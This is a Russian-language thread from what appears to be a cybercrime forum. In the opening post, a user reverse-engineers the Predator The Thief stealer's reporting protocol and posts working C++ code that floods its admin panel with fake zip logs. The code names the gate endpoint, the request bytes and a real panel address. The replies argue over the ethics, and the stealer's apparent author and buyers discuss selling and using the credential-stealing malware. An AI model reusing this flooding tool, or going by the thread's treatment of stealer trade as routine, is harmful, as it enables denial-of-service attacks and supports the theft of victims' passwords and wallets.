• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Авторская статья DOS атака на серверную часть Predator The Thief

ARCHANGEL

Участник
Сообщения
27
Реакции
81
0 руб.
Telegram
Начало

Привет, ребзя. Недавно вышла замечательная статья о декриптовке строк в стилере Predator The Thief: https://vlmi.top/threads/dekriptuem-stroki-v-predator-the-thief-stillere.22512/

Кто, вдруг, не читал – очень рекомендую. Особенно хорош там скрипт. Но разговор пойдёт сейчас не о строках. Дело в том, что после самой статьи есть несколько комментариев, которые говорят, что стилер хорош, свою работу делает и функциональность у него прекрасная. Типа, раз люди не жалуются, то всё нормально.
Знакомство с сэмплом
Решил и я глянуть, так ли там всё хорошо, как заявляют комментаторы. Первое, что мне захотелось проверить – это архитектуру самого стилера. Ведь неважно, насколько красиво и правильно написан код, как он тестируется и работает в идеальных условиях, если сама его архитектура уязвима. Сегодня мы будем ресёрчить, как именно Predator отправляет логи на свою серверную часть, а что с этим можно сделать.
Для начала найдём код, который работает с серверной частью.

Код:
text:00457221 push    ebx             ; dwFlags
.text:00457222 push    ebx             ; lpszProxyBypass
.text:00457223 push    ebx             ; lpszProxy
.text:00457224 push    ebx             ; dwAccessType
.text:00457225 lea     eax, [esp+580h+szAgent+1]
.text:00457229 mov     [esp+580h+var_4C1], bl
.text:00457230 push    eax             ; lpszAgent
.text:00457231 call    ds:InternetOpenA

Здесь начинается работа с сервером через Internet API. Шифрование строк, конечно, очень хорошо, но при динамическом изучении кода под дебаггером абсолютно нам не мешает. Потому мы можем легко отследить логику работы клиента, и узнать, какие именно запросы отправляются на сервер.

Немного терминологии

Для лучшего понимания происходящего немного разберёмся с терминологией.
Клиент – текущий билд стилера, в котором прошиты параметры админ-панели. Именно эта часть должна запуститься на компьютере жертвы, собрать все данные и передать на сервер.
Админ-панель, она же серверная часть – удалённая машина, на которую будут приходить логи стилера. Логи приходят от клиентских машин, и хранятся на сервера до момента, когда на сервер не зайдёт владелец стилера. Владелец вводит валидный логин/пароль, и ему становятся доступны для скачивания/удаления логи с разных клиентских машин. В общем, админ-панель и серверная часть – разные сущности. На сервере есть панель, которая позволяет выполнять авторизацию и редактирование. Но в общем случае её может и не быть.
Логи – представляют собой zip-архив с информацией о паролях, куках, электронных кошельках, общей инфой о системе жертвы и скриншотом рабочего стола зараженной машины.

Предполагаемый алгоритм работы стилера (нормальное поведение)

После запуска клиент собирает информацию в архив и отправляет этот архив на сервер. Там этот архив хранится до тех пор, пока не будет скачан клиентом. И если точный алгоритм работы сервера нам неизвестен (Как долго он хранит логи? Как уведомляет о новых поступлениях?), то алгоритм клиента мы можем отреверсить и воспроизвести.
Атака

Смысл атаки заключается в генерации фейковых отчётов и отправке их на сервер. Там эти фейковые отчёты перемешиваются с настоящими, забивают память сервера – в общем, классическая атака «отказ в обслуживании». Пользователь, купивший стилер, откроет свою админку – а там тысячи логов, и пусть теперь все их разгребает J

Реализация

Код:
int main()
{
    SpamServer server(std::string("localhost"),std::string("Info.zip"));
    try
    {
        while (server.MakeSpamRequest())
        {
            std::cout << "Spam still sends successfully" << std::endl;
        }
    }
    catch(const std::exception& error)
    {
        std::cout << error.what() << std::endl;
    }
    return 0;
}

В целом, цикл отправки спама будет выглядеть так. Вместо localhost нужно вписать адрес админки. Для нашего сэмпла адрес - http://opmolewahero.esy.es

Ещё нам понадобится zip-архив, возьмите какие-то ненужные файлы и сожмите в архив, сохраните его рядом с нашим мегаспамерским софтом. Он нам пригодится.

Код сервера выглядит вот так:
Код:
SpamServer::SpamServer(const std::string &AdminPanelUrl,const std::string& ZipFilePath):
        requestWorker(AdminPanelUrl),
        contentGenerator(ZipFilePath)
{

}

bool SpamServer::MakeSpamRequest() const
{
    const auto spamContent = contentGenerator.ProduceData();
    return requestWorker.SendData(spamContent);
}

Конструктор и метод, который делает реквест на админку. Не очень сложно, правда? Что внутри requestWorker и contentGenerator?
Генератор контента просто считывает zip-файл в байтовый вектор:

Код:
Content::Content(const std::string &PathToArchieve):ZipArchievePath(PathToArchieve)
{

}

std::vector<uint8_t> Content::ProduceData() const
{
    std::vector<uint8_t> zipContent;
    std::ifstream zipFile(ZipArchievePath,std::ios::binary);

    std::for_each(std::istreambuf_iterator<char>(zipFile),std::istreambuf_iterator<char>(),
                  [&zipContent](char symbol) -> void
    {
       zipContent.push_back(static_cast<uint8_t>(symbol));
    });

    return zipContent;
}

requestWorker чуть более объёмный. Через Internet API он отправляет байтовый вектор на сервер, добавляя к нему ещё кое-какие метаданные:
Код:
Network::Network(const std::string &AdminPanel)
{
    inet = InternetOpenA(UserAgent.c_str(),INTERNET_OPEN_TYPE_PRECONFIG,nullptr,nullptr,0);
    if (!inet)
    {
        throw std::logic_error("Bad InternetOpen call");
    }
    connection = InternetConnectA(inet,AdminPanel.c_str(),80, nullptr,nullptr,INTERNET_SERVICE_HTTP,0,1);
    if (!connection)
    {
        InternetCloseHandle(inet);
        throw std::logic_error("Bad InternetConnect call");
    }
}

Network::~Network() noexcept
{
    InternetCloseHandle(inet);
    InternetCloseHandle(connection);
}

bool Network::SendData(const std::vector<uint8_t> &data) const
{
    bool result = false;
    auto handle = HttpOpenRequestA(connection,RequestType.c_str(),RequestValue.c_str(),nullptr,nullptr,nullptr,
                     INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION |
                     INTERNET_FLAG_PRAGMA_NOCACHE,1);
    if (handle)
    {
        std::vector<uint8_t> fullData;
        std::copy(Prolog.cbegin(),Prolog.cend(),std::back_inserter(fullData));
        std::copy(data.cbegin(),data.cend(),std::back_inserter(fullData));

        result = static_cast<bool>( HttpSendRequestA(handle,Headers.c_str(),Headers.length(),
                                                    const_cast<uint8_t*> ( fullData.data() ),fullData.size()) );
        InternetCloseHandle(handle);
    }

    return result;
}

Вот некоторые константы, которые проливают свет на параметры запросов:

Код:
private:
    const std::string RequestType = "POST";
    const std::string RequestValue = "api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0";
    const std::string UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36";
    const std::string Headers = "Content-Type: multipart/form-data; boundary=---------------------------7d82751e2bc0858";
    const std::vector<uint8_t> Prolog {
            0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D,
            0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x37, 0x64, 0x38,
            0x32, 0x37, 0x35, 0x31, 0x65, 0x32, 0x62, 0x63, 0x30, 0x38, 0x35, 0x38, 0x0D, 0x0A, 0x43, 0x6F,
            0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x44, 0x69, 0x73, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F,
            0x6E, 0x3A, 0x20, 0x66, 0x6F, 0x72, 0x6D, 0x2D, 0x64, 0x61, 0x74, 0x61, 0x3B, 0x20, 0x6E, 0x61,
            0x6D, 0x65, 0x3D, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x22, 0x3B, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x6E,
            0x61, 0x6D, 0x65, 0x3D, 0x22, 0x37, 0x36, 0x30, 0x36, 0x36, 0x38, 0x34, 0x32, 0x32, 0x2E, 0x7A,
            0x69, 0x70, 0x22, 0x0D, 0x0A, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70,
            0x65, 0x3A, 0x20, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x6F,
            0x63, 0x74, 0x65, 0x74, 0x2D, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x0D, 0x0A, 0x0D, 0x0A
    };

В результате сотни запросов устремляются в админку, и если технически подготовленный специалист имеет шансы как-то отфильтровать в горах спама настоящие логи, то у рядового пользователя шансы стремятся к нулю.

Как выглядят логи запросов на стандартном питоновском локальном сервере (для тестов):

Код:
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')

Таким образом видно, что в секунду их могут прийти десятки.

Выводы

Смотрите, что покупаете. Помните – отзывы даже большого количества людей не могут вам гарантировать качества продукта, если вы сами не знаете, как работает то или иное приложение.

По поводу кода стилера – да, он монолитен. Да, он использует копипасты из открытых источников и публично доступные способы кражи данных. Вы платите за компиляцию уже известных методов, но это уже совсем другая история.
 

Гомункyл

Местный
Сообщения
38
Реакции
234
0 руб.
Скажите, вот для чего все это? Вы так парня этого не любите или что он вам сделал? Стиллер изначально стоил 500 руб, так он и не претендовал не на что, и не с кем не конкурировал. Обычный стиллер, от обычного кодера. И отзывов там не много было так то.

Не знаю в общем, зачем это надо вам.
 

Гомункyл

Местный
Сообщения
38
Реакции
234
0 руб.
Тс, тебе не кажется что всем пох?:joy::joy::joy:
Может из за того что стиллер у Алекса не плохой? И возможно кому то составлял конкуренцию, + ценна не большая за такой простой, а самое главное удобный и годный софт.
 

CRAMP

Резидент
Сообщения
176
Реакции
210
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Ребята, а вы сами покупали этот софт? Пользовались?
Да, залил сотку инсталлов увидел 80 - пустых и ушел, удалил админку билды т.д, даже разыгрывать не хочется сие чудо.
 

Гомункyл

Местный
Сообщения
38
Реакции
234
0 руб.
Ребята, а вы сами покупали этот софт? Пользовались?
Я покупал. Там даже где то мой отзыв был. Вообще, я его даже не криптовал, так как не хотел запариватся. Так нормальный софт, логи приходят, админка удобная. Ошибок не было не каких.
 

Alexuiop1337

Новичок
Сообщения
0
Реакции
51
0 руб.
Telegram
Очень хороший анализ. Я такое только приветствую, в следующем обновлении как раз займусь админ-панелью.
По поводу кода стилера – да, он монолитен. Да, он использует копипасты из открытых источников и публично доступные способы кражи данных. Вы платите за компиляцию уже известных методов, но это уже совсем другая история.
Вы бы хоть показали этот код, хотя бы сказали с чем сравнивали. Не думаю, что если я юзаю sqlite, то методы паблик. А Если я юзаю CryptUnpotectData(), то это тоже паста? То что я юзал функции анти-вм c codeproject - это правда. Но кроме них я также добавил много своего.
 

Enzo

Резидент
Сообщения
373
Реакции
462
0 руб.
Ребята, а вы сами покупали этот софт? Пользовались?
Что-бы чем то пользоваться или как-то проверить не всегда обязательно это даже покупать, можно даже просто попросить у друга...стучит нормально. Косяки и траблы есть в любом софте кстати и этот не исключение, но мне прост интересно почему докопались именно до этого:joy:, до самого дешевого) Развели такое что правда смешно, как будто разоблачение века делаете))
 

ARCHANGEL

Участник
Сообщения
27
Реакции
81
0 руб.
Telegram
Очень хороший анализ. Я такое только приветствую, в следующем обновлении как раз займусь админ-панелью.

Вы бы хоть показали этот код, хотя бы сказали с чем сравнивали. Не думаю, что если я юзаю sqlite, то методы паблик. А Если я юзаю CryptUnpotectData(), то это тоже паста? То что я юзал функции анти-вм c codeproject - это правда. Но кроме них я также добавил много своего.

Т.е. тут пока носом вас не ткнёшь, вы "ушли в несознанку" ?

Ок, вот один пример
https://github.com/mozilla/gecko-dev/blob/master/toolkit/components/satchel/FormHistory.jsm

Код:
try {
          let query = "SELECT guid FROM moz_formhistory";
          if (queryTerms) {
            query += " WHERE " + queryTerms;
          }

И у вас извлечение истории запросом SELECT * FROM moz_formhistory. Подсмотрел код в паблике и сделал свой запрос.
 

Alexuiop1337

Новичок
Сообщения
0
Реакции
51
0 руб.
Telegram
Т.е. тут пока носом вас не ткнёшь, вы "ушли в несознанку" ?

Ок, вот один пример
https://github.com/mozilla/gecko-dev/blob/master/toolkit/components/satchel/FormHistory.jsm

Код:
try {
          let query = "SELECT guid FROM moz_formhistory";
          if (queryTerms) {
            query += " WHERE " + queryTerms;
          }

И у вас извлечение истории запросом SELECT * FROM moz_formhistory. Подсмотрел код в паблике и сделал свой запрос.
Эмм... Я просто поискал файлик с формами, сделал предположение исходя из названия, потом воспользовался программой DB view (или Sqlite Db view, есть на офф. Сайте sqlite), а далее посмотрел содержимое. Изучение Sql много времени не займет ни у кого, составлю обычный запрос, посмотрю индексы колонок в том же db view. Готово. Или есть патенты на использование Sql запросов?
 

ARCHANGEL

Участник
Сообщения
27
Реакции
81
0 руб.
Telegram
Эмм... Я просто поискал файлик с формами, сделал предположение исходя из названия, потом воспользовался программой DB view (или Sqlite Db view, есть на офф. Сайте sqlite), а далее посмотрел содержимое. Изучение Sql много времени не займет ни у кого, составлю обычный запрос, посмотрю индексы колонок в том же db view. Готово. Или есть патенты на использование Sql запросов?

Патентов на sql нет :) В общем, я смотрю - тут каждый остался при своём мнении. Но сэмпл любопытный, я считаю, что анализ можно продолжить.
 

Alexuiop1337

Новичок
Сообщения
0
Реакции
51
0 руб.
Telegram
Патентов на sql нет :) В общем, я смотрю - тут каждый остался при своём мнении. Но сэмпл любопытный, я считаю, что анализ можно продолжить.
Если честно, то продолжай. Потому что в некоторых моментах у тебя опыта явно больше, поэтому я могу сделать собственные выводы и исправить баги, уязвимости.
 

ARCHANGEL

Участник
Сообщения
27
Реакции
81
0 руб.
Telegram
Если честно, то продолжай. Потому что в некоторых моментах у тебя опыта явно больше, поэтому я могу сделать собственные выводы и исправить баги, уязвимости.

Так мож мой курс зайдёт по девелопменту? Тебе, вдруг, не интересно, так хоть другие заинтересуются.
 

White_Rouse

Участник
Сообщения
15
Реакции
19
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
Ддосить чужой стиллер чтоб показать свои знания. Как-то это знакомо...
любой кто скажет что это проявление конструктива может сходить нахуй. Конструктивная критика, это когда в лс разрабу пишешь о его недочетах.
А тут ты просто выебнулся в стиле человека, который давно уже не в почете (привет сорику)
 

White_Rouse

Участник
Сообщения
15
Реакции
19
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
Косяки и траблы есть в любом софте кстати и этот не исключение, но мне прост интересно почему докопались именно до этого
может потому что все остальные софты продает один и тот же человек с разных аккаунтов ?!
Опять же что-то знакомое в этом есть :joy:
 

ARCHANGEL

Участник
Сообщения
27
Реакции
81
0 руб.
Telegram
Ддосить чужой стиллер чтоб показать свои знания. Как-то это знакомо...
любой кто скажет что это проявление конструктива может сходить нахуй. Конструктивная критика, это когда в лс разрабу пишешь о его недочетах.
А тут ты просто выебнулся в стиле человека, который давно уже не в почете (привет сорику)

Мне довелось повидать много разного софта. Довелось делать кряки и кейгены, и авторы софта были далеко не в восторге. Но если бы я каждый раз слушал их мнение, то ничего бы не вышло. Это, любезный, работает именно так - ты продаёшь софт, и любой может его заполучить, а потом издеваться над этим самым софтом, как душе угодно. Или ты хотел бы, чтобы появилась утилита, которая перебивает админку на свою, и ещё и кастомная админка в комплекте? И тогда каждый желающий смог бы взять этот стилер и юзать бесплатно. Вот это я называю "выебнуться". Так что подвязывайте там строчить одно и то же с разных аккаунтов. Здесь никто никому не родственник, тем не менее, исследования пока не несут какой-то финансовой угрозы для автора стилера и для его пользователей. Но я вам настоятельно не рекомендую продолжать в том же духе, рассказывая кто в почёте.
 

White_Rouse

Участник
Сообщения
15
Реакции
19
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
Это, любезный, работает именно так - ты продаёшь софт, и любой может его заполучить, а потом издеваться над этим самым софтом, как душе угодно.
А кто сказал что это так работает? НЕТ! Это такие как ты навязывают что ддосить чужой софт это нормально. Почему ? Чтоб его клиенты заебались чистить логи? А тебе от этого что, если ты не хотел выебнуться? В чем смысл данного поста как не в призыве именно так и делать ?

Но я вам настоятельно не рекомендую продолжать в том же духе, рассказывая кто в почёте.
Да ты что... а то что? вернешься с аккаунта сорика и спросишь с меня ? Если ты не он то и не надо биться за невидимый остров (метафора)
 

White_Rouse

Участник
Сообщения
15
Реакции
19
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
Мне довелось повидать много разного софта. Довелось делать кряки и кейгены, и авторы софта были далеко не в восторге.
Ты не крякаешь, не предоставляешь софт широкой массе! Ты не вносишь вклад в развитие своим ддосом. Выложи ты кряк, я бы тебе даже лайк поставил. Но то что ты тут описал никак и никогда не будет считаться вкладом в развитие или конструктивной критикой. Нет, это лишь жалкая попытка выбить человека из колеи, что уже доказывает что ты не то что не делаешь вклад в развитие дарк тематики, а наоборот тормозишь его монополизируя рынок.
 

ARCHANGEL

Участник
Сообщения
27
Реакции
81
0 руб.
Telegram
Ты не крякаешь, не предоставляешь софт широкой массе! Ты не вносишь вклад в развитие своим ддосом. Выложи ты кряк, я бы тебе даже лайк поставил. Но то что ты тут описал никак и никогда не будет считаться вкладом в развитие или конструктивной критикой. Нет, это лишь жалкая попытка выбить человека из колеи, что уже доказывает что ты не то что не делаешь вклад в развитие дарк тематики, а наоборот тормозишь его монополизируя рынок.

"Ваше мнение очень ценно для нас, оставайтесь на линии..."
 
Сверху Снизу